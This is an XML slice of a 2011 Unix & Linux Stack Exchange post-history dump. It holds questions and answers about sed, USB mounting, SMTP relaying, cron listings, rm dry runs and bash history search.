  <row Id="16258" PostHistoryTypeId="2" PostId="7039" RevisionGUID="56439c95-db0c-44fc-b6fa-f60ee5dc4bd1" CreationDate="2011-02-07T16:49:53.030" UserId="3976" Text="If I understand you correctly, you logged into a remote system with SSH with X forwarding turned on, and then started up an X application and sent it to the background.  If you log off completely, the SSH tunnel that provides the X forwarding feature will also close, and the X app will be terminated.  However, most likely what will happen when you try to log off is that the SSH session will remain open until the X application exits.  The screen session is inconsequential at this point.  &#xD;&#xA;&#xD;&#xA;Interestingly enough, there appears to be some work on being able to [save and restore X sessions][1] like screen does with terminal sessions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/partiwm/wiki/xpra" />
  <row Id="16259" PostHistoryTypeId="2" PostId="7040" RevisionGUID="54457ca2-543f-415e-8482-2b15c06d7faa" CreationDate="2011-02-07T17:04:54.327" UserId="688" Text="So I went and tried mounting the USB stick with `pmount /dev/sdb1 /mnt/blah` and it it gives a more useful message than the GUI dialogue:&#xD;&#xA;&#xD;&#xA;	Warning: device /dev/sdb1 is already handled by /etc/fstab, supplied label is ignored&#xD;&#xA;	mount: wrong fs type, bad option, bad superblock on /dev/sdb1,&#xD;&#xA;		   missing codepage or helper program, or other error&#xD;&#xA;		   In some cases useful info is found in syslog - try&#xD;&#xA;		   dmesg | tail  or so&#xD;&#xA;&#xD;&#xA;This led me to find that &quot;**/etc/fstab**&quot; actually has an entry for /dev/sdb1:&#xD;&#xA;&#xD;&#xA;    /dev/sdb1       /media/cdrom0   udf,iso9660 user,noauto     0       0&#xD;&#xA;&#xD;&#xA;The reason for this is that my stick was actually attached while installing Debian Squeeze, and so got automatically added in there. That's what will happen when you install from the same stick, and now I'm curious how others avoid this problematic situation." />
  <row Id="16260" PostHistoryTypeId="5" PostId="7028" RevisionGUID="4083d1a4-b839-4543-82e0-f6426389e2ce" CreationDate="2011-02-07T17:07:03.777" UserId="688" Comment="deleted 83 characters in body" Text="I used to be able to have my USB stick auto-mount when I plugged it in, on my GNOME desktop. After some fiddling with my system, it doesn't happen anymore. I now have to resort to doing this using the command line.&#xD;&#xA;&#xD;&#xA;Here's the Window that appears when I stick it in:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Here's the end of `dmesg` output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	[20500.548090] usb 2-3: new high speed USB device using ehci_hcd and address 6&#xD;&#xA;	[20500.703390] usb 2-3: New USB device found, idVendor=8564, idProduct=1000&#xD;&#xA;	[20500.703399] usb 2-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#xD;&#xA;	[20500.703406] usb 2-3: Product: Mass Storage Device&#xD;&#xA;	[20500.703411] usb 2-3: Manufacturer: JetFlash&#xD;&#xA;	[20500.703416] usb 2-3: SerialNumber: 64V6ZJ34LRL69IU1&#xD;&#xA;	[20500.703868] usb 2-3: selecting invalid altsetting 1&#xD;&#xA;	[20500.704828] scsi8 : usb-storage 2-3:1.0&#xD;&#xA;	[20502.122302] scsi 8:0:0:0: Direct-Access     JetFlash Transcend 8GB    1100 PQ: 0 ANSI: 0 CCS&#xD;&#xA;	[20502.123693] sd 8:0:0:0: Attached scsi generic sg2 type 0&#xD;&#xA;	[20502.125043] sd 8:0:0:0: [sdb] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB)&#xD;&#xA;	[20502.125774] sd 8:0:0:0: [sdb] Write Protect is off&#xD;&#xA;	[20502.125782] sd 8:0:0:0: [sdb] Mode Sense: 43 00 00 00&#xD;&#xA;	[20502.125789] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.132333] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.133529]  sdb: sdb1&#xD;&#xA;	[20502.135252] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.135257] sd 8:0:0:0: [sdb] Attached SCSI removable disk&#xD;&#xA;	[20502.658377] UDF-fs: No anchor found&#xD;&#xA;	[20502.658380] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;	[20502.682376] UDF-fs: No anchor found&#xD;&#xA;	[20502.682379] UDF-fs: No partition found (1)&#xD;&#xA;	[20502.738750] ISOFS: Unable to identify CD-ROM format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/oBxkO.png" />
  <row Id="16261" PostHistoryTypeId="25" PostId="7022" RevisionGUID="f1e5af34-96b5-4609-9513-96b1cec8c1db" CreationDate="2011-02-07T17:16:29.637" Comment="http://twitter.com/#!/StackUnix/status/34661790449147904" />
  <row Id="16262" PostHistoryTypeId="2" PostId="7041" RevisionGUID="f27c4387-d893-4c0a-92d6-e27be0774dcf" CreationDate="2011-02-07T17:33:33.117" UserId="4290" Text=" echo &quot;AXIS2C_HOME=/usr/local/Axis2C&quot; | sed 's/\(^AXIS2C_HOME=\) \(.*\)/ \2 \1/'&#xD;&#xA;&#xD;&#xA;The output i am expecting is /usr/local/Axis2C AXIS2C_HOME=&#xD;&#xA;&#xD;&#xA;I cant figure out what i am doing wrong :(" />
  <row Id="16263" PostHistoryTypeId="1" PostId="7041" RevisionGUID="f27c4387-d893-4c0a-92d6-e27be0774dcf" CreationDate="2011-02-07T17:33:33.117" UserId="4290" Text="Sed to reverse two words" />
  <row Id="16264" PostHistoryTypeId="3" PostId="7041" RevisionGUID="f27c4387-d893-4c0a-92d6-e27be0774dcf" CreationDate="2011-02-07T17:33:33.117" UserId="4290" Text="ésedà" />
  <row Id="16265" PostHistoryTypeId="2" PostId="7042" RevisionGUID="207931b1-e74c-4673-9c05-7c62b034a5b2" CreationDate="2011-02-07T17:38:13.020" UserId="1338" Text="You have an erroneous space after the `=`.  Try:&#xD;&#xA;&#xD;&#xA;    sed 's/\(^AXIS2C_HOME=\)\(.*\)/\2 \1/'&#xD;&#xA;&#xD;&#xA;The following also works and is a bit shorter. `\1` will be anything before the first `/`&#xD;&#xA;&#xD;&#xA;    sed 's|^\([^/]*\)\(/.*\)|\2 \1|'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16266" PostHistoryTypeId="2" PostId="7043" RevisionGUID="03407f95-f1bc-4c75-8ad6-1ac659da02c4" CreationDate="2011-02-07T17:52:02.533" UserId="2511" Text="The trivial answer is &quot;more backslashes, less spaces&quot;:&#xD;&#xA;&#xD;&#xA;    echo &quot;AXIS2C_HOME=/usr/local/Axis2C&quot; | sed 's/\(^AXIS2C_HOME=\)\(.*\)/\2 \1/'&#xD;&#xA;&#xD;&#xA;But the broader answer is, &quot;wait, what are you trying to do?&quot; Do you want the key-value pairs to be split into useful variables, or are you really just trying to munge the input into the reverse syntax in order t feed it to something else? " />
  <row Id="16267" PostHistoryTypeId="2" PostId="7044" RevisionGUID="1287780f-3947-4cdf-b45d-712869fb0e00" CreationDate="2011-02-07T17:55:07.117" UserId="1946" Text="I have Postfix suite installed locally on Ubuntu 10.10.  I can send/receive mail to my local address, e.g. `user@local.com`.  I'm given credentials to a remote mail server mailbox, e.g. `other@remote.com`.&#xD;&#xA;&#xD;&#xA;What command line incantation on my local box would connect me to SMTP server at `remote.com` providing username and password and send mail through it?&#xD;&#xA;&#xD;&#xA;I've read `sendmail` and `smtp` manpages but that didn't give me any clue.&#xD;&#xA;" />
  <row Id="16268" PostHistoryTypeId="1" PostId="7044" RevisionGUID="1287780f-3947-4cdf-b45d-712869fb0e00" CreationDate="2011-02-07T17:55:07.117" UserId="1946" Text="Postfix: how to send mail from a remote SMTP host?" />
  <row Id="16269" PostHistoryTypeId="3" PostId="7044" RevisionGUID="1287780f-3947-4cdf-b45d-712869fb0e00" CreationDate="2011-02-07T17:55:07.117" UserId="1946" Text="ésmtpàépostfixà" />
  <row Id="16270" PostHistoryTypeId="2" PostId="7045" RevisionGUID="17a9b7d5-e36e-4c55-81b4-b4d8e22101a7" CreationDate="2011-02-07T18:03:42.140" UserId="3976" Text="You will need to have Postfix relay the messages to the remote server.  This will require a change to the Postfix configuration. You'll need to enable [Postfix's SASL authentication][1] to handle the authentication.  Once configured, you can use your local SMTP server as you did with local addresses, and the local server will relay them on the the remote server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.postfix.org/SASL_README.html#client_sasl_enable" />
  <row Id="16271" PostHistoryTypeId="2" PostId="7046" RevisionGUID="a415c7b0-97c4-4650-b615-75c1968adb47" CreationDate="2011-02-07T18:14:34.683" UserId="4564" Text="How can I add a 10sec sleep to after each page is processed?&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    for page in {1..50}&#xD;&#xA;    do&#xD;&#xA;            wget -q -U Mozilla &quot;http://admin.domain.com/products_search/?p=$page&quot; -O - \&#xD;&#xA;             | tr '&quot;' '\n' | grep &quot;^Product photo for &quot; | cut -d ' ' -f 3 &gt; bproduct.txt&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16272" PostHistoryTypeId="1" PostId="7046" RevisionGUID="a415c7b0-97c4-4650-b615-75c1968adb47" CreationDate="2011-02-07T18:14:34.683" UserId="4564" Text="Adding Sleep command to shell script?" />
  <row Id="16273" PostHistoryTypeId="3" PostId="7046" RevisionGUID="a415c7b0-97c4-4650-b615-75c1968adb47" CreationDate="2011-02-07T18:14:34.683" UserId="4564" Text="éshellàésleepà" />
  <row Id="16274" PostHistoryTypeId="5" PostId="7041" RevisionGUID="3d538819-70a0-498a-82ad-9fd6979d92e7" CreationDate="2011-02-07T18:20:48.723" UserId="1338" Comment="fixed code blocks" Text=" &#xD;&#xA;&#xD;&#xA;    echo &quot;AXIS2C_HOME=/usr/local/Axis2C&quot; | sed 's/\(^AXIS2C_HOME=\) \(.*\)/ \2 \1/'&#xD;&#xA;&#xD;&#xA;The output i am expecting is `/usr/local/Axis2C AXIS2C_HOME=`&#xD;&#xA;&#xD;&#xA;I cant figure out what i am doing wrong :(" />
  <row Id="16275" PostHistoryTypeId="24" PostId="7041" RevisionGUID="5f049b09-695b-4019-8b64-9d507c4e1cf9" CreationDate="2011-02-07T18:20:48.723" Comment="Proposed by 1338 approved by 73 edit id of 17" />
  <row Id="16276" PostHistoryTypeId="2" PostId="7047" RevisionGUID="cc723317-e2e7-4980-8e05-fd3eea427e7e" CreationDate="2011-02-07T18:20:52.873" UserId="3976" Text="Sed is great, but Perl can do this too, and it doesn't require the forest of backslashes:&#xD;&#xA;&#xD;&#xA;    % echo &quot;AXIS2C_HOME=/usr/local/Axis2C&quot; | perl -pe 's/(^AXIS2C_HOME=)(.*)/\2 \1/'&#xD;&#xA;    /usr/local/Axis2C AXIS2C_HOME=&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Plus, you've got the full power of the regular expression engine, so you can do even more complex patterns." />
  <row Id="16277" PostHistoryTypeId="2" PostId="7048" RevisionGUID="ce496622-9e42-40e9-b3b6-629414a9f6be" CreationDate="2011-02-07T18:22:19.783" UserId="4565" Text="    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    for page in {1..50}&#xD;&#xA;    do&#xD;&#xA;        wget -q -U Mozilla &quot;http://admin.domain.com/products_search/?p=$page&quot; -O - \&#xD;&#xA;        | tr '&quot;' '\n' | grep &quot;^Product photo for &quot; | cut -d ' ' -f 3 &gt; bproduct.txt&#xD;&#xA;        sleep 10&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Should work" />
  <row Id="16278" PostHistoryTypeId="8" PostId="7041" RevisionGUID="68fd47d9-325e-4a90-bf12-dc0189ced477" CreationDate="2011-02-07T18:30:40.057" UserId="1207" Comment="Rollback to [f27c4387-d893-4c0a-92d6-e27be0774dcf]" Text=" echo &quot;AXIS2C_HOME=/usr/local/Axis2C&quot; | sed 's/\(^AXIS2C_HOME=\) \(.*\)/ \2 \1/'&#xD;&#xA;&#xD;&#xA;The output i am expecting is /usr/local/Axis2C AXIS2C_HOME=&#xD;&#xA;&#xD;&#xA;I cant figure out what i am doing wrong :(" />
  <row Id="16279" PostHistoryTypeId="2" PostId="7049" RevisionGUID="8f1b6324-0a52-4413-ba8d-6ca100d0975a" CreationDate="2011-02-07T18:52:53.090" UserId="1946" Text="Actually, Postfix turned out to be irrelevant to my problem.  Using it would be an overkill for this task: it requires per-host configuration, where per-user would do.&#xD;&#xA;&#xD;&#xA;I figured out `msmtp` is well enough for my task.&#xD;&#xA;" />
  <row Id="16280" PostHistoryTypeId="2" PostId="7050" RevisionGUID="e6f71e16-a822-4ee3-af12-93a2e6eff382" CreationDate="2011-02-07T19:24:48.633" UserId="2180" Text="You might be interested in using `rsync` instead. The command for that would be&#xD;&#xA;&#xD;&#xA;     rsync --delete --rsh=ssh -av bin/ remote-ip-or-fqdn:/home/earlz/blah/bin/&#xD;&#xA;&#xD;&#xA;This will copy everything in `bin/` and place it in on the remote server in `/home/earlz/blah/bin/`. As an added benefit, it will first check to see if the file on the remote side hasn't changed, and if it hasn't, it won't re-send it. Additionally, you can add a -z option and it will compress it for you." />
  <row Id="16281" PostHistoryTypeId="2" PostId="7051" RevisionGUID="67623149-41a5-4674-92e0-545bdeaad124" CreationDate="2011-02-07T19:34:36.033" UserId="688" Text="I find that in order to re-mount a USB stick, I have to physically disconnect it, and then re-connect it. How can I do this without such tiring physical action?" />
  <row Id="16282" PostHistoryTypeId="1" PostId="7051" RevisionGUID="67623149-41a5-4674-92e0-545bdeaad124" CreationDate="2011-02-07T19:34:36.033" UserId="688" Text="How to re-mount a USB stick after unmounting from Nautilus without disconnecting?" />
  <row Id="16283" PostHistoryTypeId="3" PostId="7051" RevisionGUID="67623149-41a5-4674-92e0-545bdeaad124" CreationDate="2011-02-07T19:34:36.033" UserId="688" Text="émountingà" />
  <row Id="16284" PostHistoryTypeId="2" PostId="7052" RevisionGUID="f5ebea4e-043c-472c-8099-76d46c352407" CreationDate="2011-02-07T19:39:19.930" UserId="1946" Text="Can someone transform it into community wiki please?  I guess I've got no privileges for that.&#xD;&#xA;&#xD;&#xA;Let's list practical sources for learning about performing certain tasks on *nix command line.&#xD;&#xA;&#xD;&#xA;E.g. I want to delay execution of a script and I don't know about `sleep(1)`.  I can do `apropos delay`, spot there `sleep(1)` and finally `man 1 sleep`.  What else comes to your mind?" />
  <row Id="16285" PostHistoryTypeId="1" PostId="7052" RevisionGUID="f5ebea4e-043c-472c-8099-76d46c352407" CreationDate="2011-02-07T19:39:19.930" UserId="1946" Text="Sources to learn about performing certain tasks on command line?" />
  <row Id="16286" PostHistoryTypeId="3" PostId="7052" RevisionGUID="f5ebea4e-043c-472c-8099-76d46c352407" CreationDate="2011-02-07T19:39:19.930" UserId="1946" Text="écommandölineàéutilitiesàélearningà" />
  <row Id="16287" PostHistoryTypeId="5" PostId="3536" RevisionGUID="077802d8-f7f5-406d-84b8-e293c4d5cb91" CreationDate="2011-02-07T19:39:51.527" UserId="4" Comment="deleted 84 characters in body" Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, output is printed to both stdout and stderr:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;So we hide output to stdout:&#xD;&#xA;&#xD;&#xA;    $ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. First we pipe stdout to /dev/null, then we convert stderr to stdout, because Unix pipes will only operate on stdout. You can still grep the text.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the script I use for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="16288" PostHistoryTypeId="4" PostId="7051" RevisionGUID="77239e1a-4620-4f2c-ae20-9248751f0a35" CreationDate="2011-02-07T19:42:54.460" UserId="688" Comment="edited title" Text="How to re-mount a USB stick after unmounting from Nautilus without disconnecting it?" />
  <row Id="16289" PostHistoryTypeId="5" PostId="6993" RevisionGUID="6eed579e-eb15-4cc6-9418-4a137214847c" CreationDate="2011-02-07T19:43:51.207" UserId="688" Comment="update" Text="GParted 0.7.0 is less than ideal, so am looking for something else. Is there a credible alternative?&#xD;&#xA;&#xD;&#xA;[**update**] The [two][1] [issues][2] I was having had nothing to do with GParted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/7051/688&#xD;&#xA;  [2]: http://unix.stackexchange.com/q/7028/688" />
  <row Id="16290" PostHistoryTypeId="2" PostId="7053" RevisionGUID="a0fe5b1a-d121-49e9-a73f-79daddadad3d" CreationDate="2011-02-07T19:44:55.837" UserId="4329" Text="My sysadmin has set up a bunch of cron jobs on my machine. I'd like to know exactly what is scheduled for what time. How can I get that list? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16291" PostHistoryTypeId="1" PostId="7053" RevisionGUID="a0fe5b1a-d121-49e9-a73f-79daddadad3d" CreationDate="2011-02-07T19:44:55.837" UserId="4329" Text="How can get a list of all scheduled cron jobs on my machine?" />
  <row Id="16292" PostHistoryTypeId="3" PostId="7053" RevisionGUID="a0fe5b1a-d121-49e9-a73f-79daddadad3d" CreationDate="2011-02-07T19:44:55.837" UserId="4329" Text="élinuxàécronàéschedulingà" />
  <row Id="16293" PostHistoryTypeId="2" PostId="7054" RevisionGUID="55c9dd90-f8a8-49ce-b755-3be0d76e96db" CreationDate="2011-02-07T19:46:07.787" UserId="4568" Text="No, not on Ubuntu - [ever since Dapper][1] (8.10 that is)&#xD;&#xA;&#xD;&#xA;So, it must be the same for Debian. I am sure you can easily find the same information for rpm based distros.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.ubuntu.com/search?keywords=openntpd&amp;searchon=names&amp;suite=all&amp;section=all" />
  <row Id="16294" PostHistoryTypeId="12" PostId="7054" RevisionGUID="65eacb7a-1bf8-4169-9493-547da02d06f3" CreationDate="2011-02-07T19:48:29.593" UserId="4568" Text="[{&quot;Id&quot;:4568,&quot;DisplayName&quot;:&quot;shpokas&quot;}]" />
  <row Id="16295" PostHistoryTypeId="5" PostId="7054" RevisionGUID="96f78de7-53ae-465d-809a-f57f8e122d9d" CreationDate="2011-02-07T19:51:12.540" UserId="4568" Comment="added 45 characters in body" Text="openntpd is included in Ubuntu - [since Dapper][1] (8.10 that is)&#xD;&#xA;&#xD;&#xA;So, it must be the same for Debian. I am sure you can easily find the same information for rpm based distros.&#xD;&#xA;&#xD;&#xA;But it is not default ntp daemon.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.ubuntu.com/search?keywords=openntpd&amp;searchon=names&amp;suite=all&amp;section=all" />
  <row Id="16296" PostHistoryTypeId="13" PostId="7054" RevisionGUID="405171b4-8401-4662-b15b-1517bfae5b02" CreationDate="2011-02-07T19:51:18.313" UserId="4568" Text="[{&quot;Id&quot;:4568,&quot;DisplayName&quot;:&quot;shpokas&quot;}]" />
  <row Id="16297" PostHistoryTypeId="5" PostId="3536" RevisionGUID="19b5f58b-60d3-43e1-a076-dfbe9a3c3c89" CreationDate="2011-02-07T19:53:40.670" UserId="4" Comment="Clarify answer." Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, stdout and stderr are both printed to your screen:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;To hide stdout, but still print stdout do this:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh &gt;/dev/null&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;But grep won't operate on stderr! You would expect the following command to suppress lines which contain 'err', but it does not.&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh &gt;/dev/null |grep --invert-match err&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the solution.&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. First we pipe stdout to /dev/null, then we convert stderr to stdout, because Unix pipes will only operate on stdout. You can still grep the text.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the script used for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="16298" PostHistoryTypeId="2" PostId="7055" RevisionGUID="ab62ac26-59de-4d67-9b44-b039df252c76" CreationDate="2011-02-07T20:00:16.393" UserId="916" Text="I've recently been teaching myself about the BSDs and decided to pick up a NetBSD VPS. I don't always log in to this box every day (it's not actually doing anything that important), but I'd still like to monitor `root`'s mail. To that end, I started looking into how to forward `root`'s mail to an external account. I learned a little about the [`/etc/aliases`][aliases-man] file, and it looks like I might be able to build up a pipeline to do this for me, but I'm treading into unfamiliar territory.&#xD;&#xA;&#xD;&#xA;Is there a tutorial that covers this sort of thing? Is it even a good idea?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;[aliases-man]: http://netbsd.gw.com/cgi-bin/man-cgi?aliases+5+NetBSD-5.0" />
  <row Id="16299" PostHistoryTypeId="1" PostId="7055" RevisionGUID="ab62ac26-59de-4d67-9b44-b039df252c76" CreationDate="2011-02-07T20:00:16.393" UserId="916" Text="How to automatically encrypt, sign, and forward root's email?" />
  <row Id="16300" PostHistoryTypeId="3" PostId="7055" RevisionGUID="ab62ac26-59de-4d67-9b44-b039df252c76" CreationDate="2011-02-07T20:00:16.393" UserId="916" Text="émailàéencryptionàérootàénetbsdà" />
  <row Id="16301" PostHistoryTypeId="2" PostId="7056" RevisionGUID="d1f32065-8b9e-45ab-9d19-e7064c0c647f" CreationDate="2011-02-07T20:09:15.147" UserId="4143" Text="I want to see what files will be deleted when performing an 'rm' in linux.  Most commands seem to have a dry run option to show just such information, but I can't seem to find such an option for rm.  Is this even possible?&#xD;&#xA;&#xD;&#xA;*(Note: sorry if I gave this question the wrong tags, I wasn't exactly sure what tags were appropriate for the question)*" />
  <row Id="16302" PostHistoryTypeId="1" PostId="7056" RevisionGUID="d1f32065-8b9e-45ab-9d19-e7064c0c647f" CreationDate="2011-02-07T20:09:15.147" UserId="4143" Text="How do you run a dry run of rm to see what files will be deleted?" />
  <row Id="16303" PostHistoryTypeId="3" PostId="7056" RevisionGUID="d1f32065-8b9e-45ab-9d19-e7064c0c647f" CreationDate="2011-02-07T20:09:15.147" UserId="4143" Text="élinuxàébashàéterminalàéunixàérmà" />
  <row Id="16304" PostHistoryTypeId="2" PostId="7057" RevisionGUID="ec4766a8-7557-403a-ba1b-a8c20bc2b3b7" CreationDate="2011-02-07T20:11:53.930" UserId="3635" Text="You can say:&#xD;&#xA;&#xD;&#xA;    rm -i&#xD;&#xA;&#xD;&#xA;to run it in interactive mode, so `rm` will prompt you to confirm whether each file should be deleted. You could just answer no to each file to see which ones would be affected." />
  <row Id="16305" PostHistoryTypeId="2" PostId="7058" RevisionGUID="170d73a6-5cbe-43fc-8038-4690fa0c9c25" CreationDate="2011-02-07T20:13:58.277" UserId="1223" Text="[commandlinefu][1] one such resource.&#xD;&#xA;&#xD;&#xA;The [GNU manual][2] is also very useful.&#xD;&#xA;&#xD;&#xA;However, my final answer has to be Google, adding 'site:' qualifiers for one of the above sites, or unix.se as appropriate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.commandlinefu.com/commands/browse&#xD;&#xA;  [2]: http://www.gnu.org/manual/manual.html" />
  <row Id="16306" PostHistoryTypeId="2" PostId="7059" RevisionGUID="75ffcf47-f901-43a1-b618-ea08b77bb11a" CreationDate="2011-02-07T20:13:59.977" UserId="3169" Text="Say you want to run:&#xD;&#xA;&#xD;&#xA;    rm *.txt&#xD;&#xA;&#xD;&#xA;You can just run:&#xD;&#xA;&#xD;&#xA;    echo rm *.txt&#xD;&#xA;&#xD;&#xA;or even just:&#xD;&#xA;&#xD;&#xA;    echo *.txt&#xD;&#xA;&#xD;&#xA;to see what files `rm` would delete, because it's the shell expanding the `*.txt`, not `rm`.&#xD;&#xA;&#xD;&#xA;The only time this won't help you if for `rm -r`." />
  <row Id="16307" PostHistoryTypeId="5" PostId="6999" RevisionGUID="209ac557-2997-48e2-980b-496015919044" CreationDate="2011-02-07T20:14:33.290" UserId="1131" Comment="missing single quote" Text="You can to it for all files using a for loop (in the shell/in a shell-script):&#xD;&#xA;&#xD;&#xA;    for i in *.JPG; do&#xD;&#xA;      j=`jhead &quot;$i&quot; | grep date | sed 's/^File date[^:]\+: \(.\+\)$/\1/'`.jpg&#xD;&#xA;      echo mv -i &quot;$i&quot; &quot;$j&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This is just a very basic outline. Delete `echo` when you have verified that everything works as expected." />
  <row Id="16308" PostHistoryTypeId="25" PostId="7046" RevisionGUID="4d41f979-5a23-4d4f-ac54-f5614944a0ea" CreationDate="2011-02-07T20:16:29.820" Comment="http://twitter.com/#!/StackUnix/status/34707089951555584" />
  <row Id="16309" PostHistoryTypeId="5" PostId="7059" RevisionGUID="4024a96f-a5dc-4510-85be-6fd68b3fe7b7" CreationDate="2011-02-07T20:19:00.483" UserId="3169" Comment="edited body; added 252 characters in body" Text="Say you want to run:&#xD;&#xA;&#xD;&#xA;    rm *.txt&#xD;&#xA;&#xD;&#xA;You can just run:&#xD;&#xA;&#xD;&#xA;    echo rm *.txt&#xD;&#xA;&#xD;&#xA;or even just:&#xD;&#xA;&#xD;&#xA;    echo *.txt&#xD;&#xA;&#xD;&#xA;to see what files `rm` would delete, because it's the shell expanding the `*.txt`, not `rm`.&#xD;&#xA;&#xD;&#xA;The only time this won't help you is for `rm -r`.&#xD;&#xA;&#xD;&#xA;If you want to remove files and directories recursively, then you could use `find` instead of `rm -r`, e.g.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.txt&quot; -print&#xD;&#xA;&#xD;&#xA;then if it does what you want, change the `-print` to `-delete`:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.txt&quot; -delete&#xD;&#xA;" />
  <row Id="16310" PostHistoryTypeId="5" PostId="7051" RevisionGUID="197b171d-2b84-497e-a69d-fa09f06fe861" CreationDate="2011-02-07T20:20:48.360" UserId="688" Comment="update" Text="I find that in order to re-mount a USB stick, I have to physically disconnect it, and then re-connect it. How can I do this without such tiring physical action?&#xD;&#xA;&#xD;&#xA;[**update**] This problem went away after I restarted my system. What could have caused it? Have you experienced it?" />
  <row Id="16311" PostHistoryTypeId="2" PostId="7060" RevisionGUID="14e4aae0-c8dc-4c74-b2bf-27a3fbb31429" CreationDate="2011-02-07T20:26:27.740" UserId="1131" Text="Probably depends on the crond you are using. With vcron e.g. you get it for the current user via:&#xD;&#xA;&#xD;&#xA;    $ crontab -l&#xD;&#xA;&#xD;&#xA;or for another user via&#xD;&#xA;&#xD;&#xA;    $ crontab -l -u juser&#xD;&#xA;" />
  <row Id="16312" PostHistoryTypeId="2" PostId="7061" RevisionGUID="eb5d0489-a8d4-4caf-a217-2853f64f29de" CreationDate="2011-02-07T20:30:58.717" UserId="688" Text="At times when I do &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to search through command history, I find that I don't reach the entry I was looking for, even though I know it's in history. I think this is due to me having passed the entry, meaning I'm so deep into history that I've 'passed' it. Is there a command that allows the whole of history to be searched, for example, by restarting from one end (e.g. the latest entry) and restarting on that end if one keeps searching." />
  <row Id="16313" PostHistoryTypeId="1" PostId="7061" RevisionGUID="eb5d0489-a8d4-4caf-a217-2853f64f29de" CreationDate="2011-02-07T20:30:58.717" UserId="688" Text="How to search the whole of bash history without needing to go forwards and backwards?" />
  <row Id="16314" PostHistoryTypeId="3" PostId="7061" RevisionGUID="eb5d0489-a8d4-4caf-a217-2853f64f29de" CreationDate="2011-02-07T20:30:58.717" UserId="688" Text="ébashàécommandöhistoryà" />
